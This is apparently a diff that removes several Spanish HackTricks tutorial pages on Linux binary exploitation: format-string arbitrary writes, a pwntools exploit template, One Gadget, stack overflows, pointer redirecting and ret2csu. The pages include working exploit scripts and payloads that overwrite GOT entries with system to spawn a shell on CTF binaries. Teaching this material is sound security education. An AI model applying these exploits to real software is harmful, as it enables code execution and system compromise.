p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección.
## **Escritura Arbitraria**
El formateador **`$<num>%n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`$<num>%n`** escriba un número arbitrario en una dirección arbitraria.
Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada; para hacerlo, es posible usar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Sin embargo, ten en cuenta que generalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).**
En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\
Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo, se usa **`$hn`**.
- **HOB** se llama a los 2 bytes más altos de la dirección
- **LOB** se llama a los 2 bytes más bajos de la dirección
Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
Si HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Si HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Plantilla de Pwntools
Puedes encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:
{{#ref}}
format-strings-template.md
{{#endref}}
O este ejemplo básico de [**aquí**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Otros Ejemplos y Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera desde la pila (no es necesario alterar el flujo de ejecución)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
{{#include ../../../banners/hacktricks-training.md}}

140
src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md
View File

@ -1,140 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
```python
from pwn import *
from time import sleep
###################
### CONNECTION ####
###################
# Define how you want to exploit the binary
LOCAL = True
REMOTETTCP = False
REMOTESSH = False
GDB = False
# Configure vulnerable binary
LOCAL_BIN = "./tyler"
REMOTE_BIN = "./tyler" #For ssh
# In order to exploit the format string you may need to append/prepend some string to the payload
# configure them here
PREFIX_PAYLOAD = b""
SUFFIX_PAYLOAD = b""
NNUM_ALREADY_WRITTEN_BYTES = 0
MAX_LENTGH = 999999 #Big num if not restricted
print(" ====================== ")
print("Selected options:")
print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
### Get format string configuration ###
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
# is being reflected. Then, you will be able to put in the position arbitrary addresses
# and write arbitrary content in those addresses
# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
offset, padlen = get_formatstring_config()
# In this template, the GOT of printf (the part of the GOT table that points to where the printf
# function resides) is going to be modified by the address of the system inside the PLT (the
# part of the code that will jump to the system function).
# Therefore, next time the printf function is executed, system will be executed instead with the same
# parameters passed to printf
# In some scenarios you will need to loop1 more time to the vulnerability
# In that cases you need to overwrite a pointer in the .fini_array for example
# Uncomment the commented code below to gain 1 rexecution extra
#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
#INIT_LOOP_ADDR = 0x8048614 # Address to go back
SYSTEM_PLT = ELF_LOADED.plt["system"]
P_GOT = ELF_LOADED.got["printf"]
#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
format_string.write(P_GOT, SYSTEM_PLT)
format_string.execute_writes()
# Now that printf function is executing system you just need to find a place where you can
# control the parameters passed to printf to execute arbitrary code.
P.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

20
src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md
View File

@ -1,20 +0,0 @@
# One Gadget
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
[**One Gadget**](https://github.com/david942j/one_gadget) permite obtener un shell en lugar de usar **system** y **"/bin/sh". One Gadget** encontrará dentro de la biblioteca libc alguna forma de obtener un shell (`execve("/bin/sh")`) utilizando solo una **dirección**.\
Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para que se evite la restricción.
![](<../../images/image (615).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
Para la dirección indicada por One Gadget, necesitas **agregar la dirección base donde se carga `libc`**.
> [!TIP]
> One Gadget es una **gran ayuda para las técnicas de Arbitrary Write 2 Exec** y puede **simplificar las cadenas ROP** ya que solo necesitas llamar a una dirección (y cumplir con los requisitos).
{{#include ../../banners/hacktricks-training.md}}

89
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
View File

@ -1,89 +0,0 @@
# Stack Overflow
{{#include ../../../banners/hacktricks-training.md}}
## Qué es un Stack Overflow
Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada.
El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**.
La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de los que se le han asignado**, por lo que puede sobrescribir otras partes de la pila.\
Algunas funciones comunes vulnerables a esto son: `strcpy`, `strcat`, `sprintf`, `gets`... Además, funciones como `fgets` o `read`, que toman un argumento de longitud, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada.
Por ejemplo, las siguientes funciones podrían ser vulnerables:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Encontrando Desbordamientos de Pila
La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**.
Además, una vez que encuentres que hay una vulnerabilidad de Desbordamiento de Pila, necesitarás encontrar el desplazamiento hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele usar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud **_**n**_** aparece exactamente una vez** como una subsecuencia contigua.
De esta manera, en lugar de necesitar averiguar manualmente qué desplazamiento se necesita para controlar el EIP, es posible usar como relleno una de estas secuencias y luego encontrar el desplazamiento de los bytes que terminaron sobrescribiéndola.
Es posible usar **pwntools** para esto:
```python
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
o **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Explotación de desbordamientos de pila
Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás sobrescribir valores de variables locales dentro de la pila hasta alcanzar el EBP/RBP y EIP/RIP guardados (o incluso más).\
La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, **el flujo de control se redirija a donde el usuario especificó** en este puntero.
Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de variables en la pila** podría ser suficiente para la explotación (como en desafíos CTF fáciles).
### Ret2win
En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
{{#ref}}
ret2win.md
{{#endref}}
### Shellcode en la pila
En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
{{#ref}}
stack-shellcode.md
{{#endref}}
## ROP
Esta técnica es el marco fundamental para eludir la principal protección de la técnica anterior: **Pila no ejecutable** (NX). Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios al abusar de instrucciones existentes en el binario:
{{#ref}}
rop-return-oriented-programing.md
{{#endref}}
## Tipos de protecciones
Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

29
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
View File

@ -1,29 +0,0 @@
# Redirección de Punteros
{{#include ../../../banners/hacktricks-training.md}}
## Punteros de cadena
Si una llamada a función va a usar una dirección de una cadena que se encuentra en la pila, es posible abusar del desbordamiento de búfer para **sobrescribir esta dirección** y poner una **dirección a una cadena diferente** dentro del binario.
Si, por ejemplo, una llamada a la función **`system`** va a **usar la dirección de una cadena para ejecutar un comando**, un atacante podría colocar la **dirección de una cadena diferente en la pila**, **`export PATH=.:$PATH`** y crear en el directorio actual un **script con el nombre de la primera letra de la nueva cadena** ya que esto será ejecutado por el binario.
Puedes encontrar un ejemplo de esto en:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, cambiar la dirección a la cadena de flags en la pila para que se imprima con `puts`
## Punteros de función
Lo mismo que el puntero de cadena pero aplicándose a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**).
Puedes encontrar un ejemplo en:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## Referencias
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
{{#include ../../../banners/hacktricks-training.md}}

76
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md
View File

@ -1,76 +0,0 @@
# Ret2csu
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
**ret2csu** es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los **gadgets** que sueles usar para manipular el comportamiento del programa.
Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`.
### Los Gadgets Mágicos en \_\_libc_csu_init
En `__libc_csu_init`, hay dos secuencias de instrucciones (nuestros "gadgets mágicos") que destacan:
1. La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde.
```armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
```
Este gadget nos permite controlar estos registros al sacar valores de la pila y colocarlos en ellos.
2. La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas:
- **Mover valores específicos a otros registros**, preparándolos para que los usemos como parámetros en funciones.
- **Realizar una llamada a una ubicación** determinada al sumar los valores en r15 y rbx, y luego multiplicar rbx por 8.
```
mov rdx, r14;
mov rsi, r13;
mov edi, r12d;
call qword [r15 + rbx*8];
```
## Ejemplo
Imagina que quieres hacer una syscall o llamar a una función como `write()` pero necesitas valores específicos en los registros `rdx` y `rsi` como parámetros. Normalmente, buscarías gadgets que configuren estos registros directamente, pero no puedes encontrar ninguno.
Aquí es donde **ret2csu** entra en juego:
1. **Configura los Registros**: Usa el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.
2. **Usa el Segundo Gadget**: Con esos registros configurados, usas el segundo gadget. Esto te permite mover tus valores elegidos a `rdx` y `rsi` (desde r14 y r13, respectivamente), preparando los parámetros para una llamada a función. Además, al controlar `r15` y `rbx`, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en `[r15 + rbx*8]`.
Tienes un [**ejemplo usando esta técnica y explicándolo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), y este es el exploit final que utilizó:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Ten en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, solo está destinado a llamar a una función llamada `win` (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
### ¿Por Qué No Usar libc Directamente?
Por lo general, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
{{#include ../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More